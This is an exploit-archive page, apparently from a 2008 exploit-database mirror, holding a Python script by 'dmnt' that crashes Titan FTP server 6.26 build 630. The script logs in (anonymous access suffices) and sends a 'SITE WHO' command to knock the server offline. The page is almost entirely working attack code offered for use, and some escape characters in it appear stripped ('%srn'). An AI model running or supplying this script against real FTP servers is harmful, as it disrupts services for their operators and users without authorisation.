[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Titan FTP server 6.26 build 630 Remote Denial of Service Exploit
# Published : 2008-10-14
# Author : dmnt
# Previous Title : Eserv 3.x FTP Server (ABOR) Remote Stack Overflow PoC
# Next Title : VLC 0.9.2 Media Player XSPF Memory Corruption Vulnerability


# Titan FTP server v6.26 build 630 remote DoS exploit
# Titan FTP URL - http://www.titanftp.com/
# DoS'ed on "SITE WHO" command
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import sys

def help_info():
    print ("Usage: titand0s <host> <login> <password>n")
    print ("Note: anonymous is enoughtn")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %srn" %username)
    r=sock.recv(1024)
    sock.send("pass %srn" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("SITE WHOrn")
    sock.close()
    print "[0] Now server d0s'ed"

print ("n]Titan FTP server v6.26 build 630 remote DoS exploit[")
print ("](x)dmnt 2008[nn")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# www.Syue.com [2008-10-14]